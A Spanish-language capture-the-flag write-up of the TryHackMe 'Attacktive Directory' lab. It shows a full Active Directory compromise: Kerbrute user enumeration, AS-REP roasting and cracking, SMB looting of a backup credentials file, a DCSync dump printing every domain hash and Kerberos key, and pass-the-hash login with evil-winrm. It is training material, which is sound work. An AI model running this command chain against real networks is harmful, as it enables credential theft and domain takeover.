Attacktive Directory
Antes de iniciar este recorrido práctico y explorar algunas de las herramientas clave para el pentesting en entornos Kerberos y Active Directory, te recomiendo leer el siguiente artículo, donde explico en detalle cómo funciona el proceso de autenticación en Kerberos y cuáles son los principales componentes que intervienen en él.
Enumeración de puertos/servicios
La primera tarea que se nos propone en esta sala es enumerar los puertos abiertos y servicios disponibles con nmap, para ello usaré el siguiente comando.
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# nmap -sCV --open -T4 -v -n 10.10.86.78
Resultados:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-25 23:38:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-24T23:24:40
| Not valid after: 2025-11-23T23:24:40
| MD5: 20a8:780f:6d35:a961:bdda:553b:7460:9607
|_SHA-1: fa13:cd56:cb24:9db8:9e54:d703:fdba:cf20:3ce2:4ff9
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-05-25T23:38:20+00:00
|_ssl-date: 2025-05-25T23:38:29+00:00; -9m06s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -9m06s, deviation: 0s, median: -9m06s
| smb2-time:
| date: 2025-05-25T23:38:21
|_ start_date: N/A
En síntesis:
+--------+--------+-------------------------+------------------------------+
| Puerto | Estado | Servicio | Protocolo/Descripción |
+--------+--------+-------------------------+------------------------------+
| 53 | open | domain | DNS - Simple DNS Plus |
| 80 | open | http | IIS 10.0 (TRACE habilitado) |
| 88 | open | kerberos-sec | Kerberos |
| 135 | open | msrpc | RPC |
| 139 | open | netbios-ssn | NetBIOS Session Service |
| 389 | open | ldap | AD LDAP |
| 445 | open | microsoft-ds? | SMB over TCP |
| 464 | open | kpasswd5? | Kerberos password change |
| 593 | open | ncacn_http | RPC over HTTP |
| 636 | open | tcpwrapped | LDAPS (probable) |
| 3268 | open | ldap | Global Catalog LDAP |
| 3269 | open | tcpwrapped | Global Catalog LDAPS |
| 3389 | open | ms-wbt-server | RDP(self-signed certificate)|
| 5985 | open | http | WinRM (HTTPAPI 2.0) |
+--------+--------+-------------------------+------------------------------+
Del resultado que nos dio nmap destacamos lo siguiente:
Servicios de Active Directory identificados:
LDAP (389, 3268) y LDAPS (probablemente 636, 3269): usados para autenticación y replicación de objetos del dominio.
Kerberos (88, 464): servicio central de autenticación en AD.
DNS (53): gestión del namespace del dominio.
RPC/MSRPC (135, 593): comunicación entre controladores de dominio.
SMB (445, 139): posible vector para enumeración o explotación (ej. EternalBlue).
RDP (3389): acceso remoto a la máquina; necesita validación de control de acceso y cifrado.
WinRM (5985): canal de administración remota; verificar políticas de autenticación y uso.
Información del dominio:
Dominio:
spookysec.local
Nombre NetBIOS:
THM-AD
Nombre de equipo:
ATTACKTIVEDIREC
Sistema operativo: Windows Server (versión 10.0.17763 — Server 2019)
Sincronización de hora: desajuste de -9 minutos entre el sistema y el escáner; importante porque afecta la validez de tokens Kerberos
Agregamos el domain name al /etc/hosts de kali para evitar el problema del virtual host
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# echo "10.10.86.78 AttacktiveDirectory.spookysec.local spookysec.local" >> /etc/hosts
Enumerando usuarios via kerberos o Pre-Authentication Abuse
La siguiente tarea consta en aprovechar el puerto 88 (kerberos) para enumerar usuarios con dos diccionarios que nos facilitan desde la plataforma: Users.txt y Passwords.txt Para realizar esta enumeración vamos a utilizar Kerbrute con los siguientes parámetros:
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# kerbrute userenum --dc 10.10.86.78 --domain spookysec.local userlist.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/25/25 - Ronnie Flathers @ropnop
2025/05/25 20:52:38 > Using KDC(s):
2025/05/25 20:52:38 > 10.10.86.78:88
2025/05/25 20:52:38 > [+] VALID USERNAME: james@spookysec.local
2025/05/25 20:52:42 > [+] svc-admin has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$svc-admin@SPOOKYSEC.LOCAL:e391c035b5a3d913d299fe4e87f27fe5$7f24e07471a8b35dc48c82f3f29f8778c309f60587b67e475d0254261fa9e37411bcfd9638f751985ac499512756caae39f11d0605bf0bf87c485e2ea966e29831efb94b2d9445ed660ec3ee99bf0d897f228d984667061ee46677bb66911823a1bd3c5173e4bd583290cdcc66e17c553cf2ba7012f95d316a215374ac6b32bbf2e53998a9483e6163cda963422ed2e02799b735320b3696131828617c2722fc45842abdec1107dcd1bd5f2310971943af11a6c04ff50a1e2afbd2fc834fb501d3c698de22d97726ace2196d9170c0dfe4506bdbe9ef500589b4df98fd693546da905be3b04c23cba86ff0d147d76e8dcef5c85047657299beda2e2a36f7609ea59559778565
2025/05/25 20:52:42 > [+] VALID USERNAME: svc-admin@spookysec.local
2025/05/25 20:52:47 > [+] VALID USERNAME: James@spookysec.local
2025/05/25 20:52:49 > [+] VALID USERNAME: robin@spookysec.local
2025/05/25 20:53:08 > [+] VALID USERNAME: darkstar@spookysec.local
2025/05/25 20:53:20 > [+] VALID USERNAME: administrator@spookysec.local
2025/05/25 20:53:43 > [+] VALID USERNAME: backup@spookysec.local
2025/05/25 20:53:54 > [+] VALID USERNAME: paradox@spookysec.local
2025/05/25 20:55:06 > [+] VALID USERNAME: JAMES@spookysec.local
2025/05/25 20:55:30 > [+] VALID USERNAME: Robin@spookysec.local
2025/05/25 20:57:52 > [+] VALID USERNAME: Administrator@spookysec.local
2025/05/25 21:02:38 > [+] VALID USERNAME: Darkstar@spookysec.local
2025/05/25 21:04:10 > [+] VALID USERNAME: Paradox@spookysec.local
2025/05/25 21:09:20 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2025/05/25 21:10:49 > [+] VALID USERNAME: ori@spookysec.local
2025/05/25 21:13:34 > [+] VALID USERNAME: ROBIN@spookysec.local
2025/05/25 21:20:21 > Done! Tested 73317 usernames (16 valid) in 1663.309 seconds
AS-REP Roasting
En el apartado 5 se nos propone realizar una poc de una técnica de explotación conocida como AS-REP Roasting, pero antes de pasar a la shell entendamos como funciona este ataque: En una implementación estándar de Kerberos, el proceso de autenticación inicia cuando el usuario envía una solicitud de Ticket Granting Ticket (TGT) al Key Distribution Center (KDC). Como medida de seguridad, Kerberos requiere que el cliente se autentique previamente mediante un mecanismo conocido como pre autenticación. Esto implica que el cliente debe cifrar un timestamp con su clave derivada de la contraseña antes de que el KDC procese su solicitud.
Sin embargo, si una cuenta de usuario tiene la pre autenticación deshabilitada, el KDC no exige esta verificación inicial. En cambio, responde directamente con un mensaje denominado AS-REP (Authentication Service Reply), que contiene datos cifrados utilizando una clave derivada de la contraseña del usuario solicitante.
Lo que hace funcional a este ataque es que el formato del mensaje AS-REP es conocido y predecible, permitiéndonos comprobar la validez de cada intento de descifrado sin necesidad de interactuar nuevamente con el controlador de dominio. Esto reduce significativamente el riesgo de detección y permite ataques prolongados sin levantar alertas.
En el siguiente ejercicio vamos a reutilizar el comando de la tarea anterior para enumerar usuarios con Kerbrute. Los hashes generados se guardarán en un archivo llamado as-rep_hash
, que luego será utilizado como input por John the Ripper para intentar descifrarlos mediante fuerza bruta con el diccionario rockyou.txt
.
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# kerbrute userenum --dc 10.10.86.78 --domain spookysec.local userlist.txt --downgrade --hash-file as-rep_hash
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
1g 0:00:00:06 DONE (2025-05-25 21:48) 0.1434g/s 837490p/s 837490c/s 837490C/s manaia05..mana7510
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Otra opción para extraer los hashes de los usuarios es usando impacket-GetNPUsers con el siguiente comando
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# impacket-GetNPUsers spookysec.local/ -dc-ip 10.10.86.78 -usersfile userlist.txt -format john -outputfile hashes.txt
Siguiendo con el módulo/sala, la tarea 6 nos propone usar las credenciales que obtuvimos anteriormente para continuar con la fase de explotación que consiste en ganar acceso no autorizado a un sistema, servicio o recurso. Como ya contamos con las siguientes credenciales svc-admin:management2005
lo siguiente que vamos a realizar ahora es validar estas contraseñas contra distintos servicios para ver a cuales tenemos acceso. Para automatizar esta tarea desarrolle un pequeño script en bash que lo podes descargar de mi repositorio service_validation.
┌──(root㉿kali)-[/home/kali/Documents/THM]
└─# ./service_validation.sh spookysec.local svc-admin 'management2005'
[*] Probando credenciales contra spookysec.local con usuario 'svc-admin'...
--- Probando smb ---
SMB 10.10.86.78 445 ATTACKTIVEDIREC [*] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)
SMB 10.10.86.78 445 ATTACKTIVEDIREC [+] spookysec.local\svc-admin:management2005
--- Probando ldap ---
SMB 10.10.86.78 445 ATTACKTIVEDIREC [*] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)
LDAP 10.10.86.78 389 ATTACKTIVEDIREC [+] spookysec.local\svc-admin:management2005
--- Probando winrm ---
WINRM 10.10.86.78 5985 ATTACKTIVEDIREC [*] Windows 10 / Server 2019 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local)
WINRM 10.10.86.78 5985 ATTACKTIVEDIREC [-] spookysec.local\svc-admin:management2005
--- Probando rdp ---
RDP 10.10.86.78 3389 ATTACKTIVEDIREC [*] Windows 10 or Windows Server 2016 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (nla:False)
RDP 10.10.86.78 3389 ATTACKTIVEDIREC [+] spookysec.local\svc-admin:management2005 (Pwn3d!)
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.86.78 135 ATTACKTIVEDIREC [*] Windows 10 / Server 2019 Build 17763 (name:ATTACKTIVEDIREC) (domain:spookysec.local)
RPC 10.10.86.78 135 ATTACKTIVEDIREC [+] spookysec.local\svc-admin:management2005
--- Probando ftp ---
--- Probando ssh ---
El resultado nos indica que podemos utilizar las credenciales con smb, ldap y rdp. Iniciando con smb podemos probar la tool smbmap para enumerar permisos y recursos de la siguiente manera:
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# smbmap -H "spookysec.local" -u "svc-admin" -p "management2005"
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[*] Detected 1 hosts serving SMB
[|] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[-] Enumerating shares...
[+] IP: 10.10.86.78:445 Name: spookysec.local Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
backup READ ONLY
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[\] Closing connections..
Encontramos el directorio backup
con el permiso de lectura habilitado, para inspeccionar su contenido vamos a conectarnos al smb con smbclient
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# smbclient //spookysec.local/backup -U svc-admin --password=management2005
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Apr 4 15:08:39 2020
.. D 0 Sat Apr 4 15:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 15:08:53 2020
8247551 blocks of size 4096. 3647542 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
Encontramos el archivo backup_credentials.txt
y al descargarlo lo podemos leer y ver una cadena codificada en base64. Para decodificar esta cadena podemos usar herramientas online como Cyberchef o simplemente lo decodificamos desde nuestra shell con el siguiente comando:
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d
backup@spookysec.local:backup2517860
Y de esta forma obtuvimos nuevas credenciales backup:backup2517860
.
DCSync Attack con impacket-secretsdump o secret replication con DRSUAPI
La siguiente tarea que se nos propone es utilizar impacket-secretsdump para recuperar todos los hashes de contraseñas, incluido el de la cuenta "backup".
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# impacket-secretsdump -just-dc spookysec.local/backup:'backup2517860'@10.10.86.78
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:e0e9ae10bb5148345cda766a8a631369:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:c1ca8de1518abdcc029af081cad23be08f529a714c2ef90fd883000400c99cad
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:5d6dd6bc369d4c6f92ef769899bb70fa
ATTACKTIVEDIREC$:des-cbc-md5:a2d07351807a3119
[*] Cleaning up...
Pass-the-Hash
El ataque Pass-the-Hash consiste en capturar el hash NTLM de un usuario y utilizarlo directamente para autenticarse en servicios Windows que admiten este tipo de autenticación. El atacante no necesita descifrar el hash ni conocer la contraseña original. Este ataque aprovecha el hecho de que, en muchos entornos Windows, los hashes NTLM son aceptados por servicios como SMB, WMI, WinRM o RDP como sustituto válido de la contraseña.
Esto es posible porque el proceso de autenticación NTLM, en versiones anteriores a Kerberos o en ciertos contextos específicos, verifica el hash y no la contraseña en texto plano. Por lo tanto, si un atacante tiene acceso al hash, puede usar herramientas como psexec
, wmiexec
, evil-winrm
o smbclient
para iniciar sesión en sistemas remotos como si fuera el usuario legítimo.
Este tipo de ataque es común luego de obtener los hashes de la base de datos SAM
, NTDS.dit
, o mediante herramientas como mimikatz
o secretsdump
.
La última tarea que del módulo consiste en reutilizar el hash del administrador que obtuvimos con impacket-secretsdump y aplicarlo con Evil-WinRM o con impacket-psexec y conectarnos al equipo mediante el servicio winrm
┌──(root㉿kali)-[/home/kali/Documents/THM/AttacktiveDirectory]
└─# evil-winrm -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.86.78
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
TryHackMe{*****************}
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\svc-admin\Desktop\user.txt.txt
TryHackMe{*****************}
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\backup\Desktop\PrivEsc.txt
TryHackMe{*****************}
Diferencias entre Pass the Hash y Pass the Ticket:
Tipo de credencial reutilizada: Pass-the-Hash usa hashes NTLM, mientras que Pass-the-Ticket usa tickets Kerberos (TGT/TGS).
Protocolo atacado: Pass-the-Hash se basa en NTLM, Pass-the-Ticket se basa en Kerberos.
Escenario de uso típico: Pass-the-Hash es útil en redes que aún permiten NTLM (por compatibilidad). Pass-the-Ticket se usa en redes modernas con autenticación Kerberos predominante.
Herramientas comunes: Para PtH:
secretsdump.py
,mimikatz
,psexec
,evil-winrm
. Para PtT:mimikatz
,kerberos::ptt
,Rubeus
.
Para ver cómo funciona la modalidad de ataque Pass the Ticket ir al módulo Attacking Kerberos
Last updated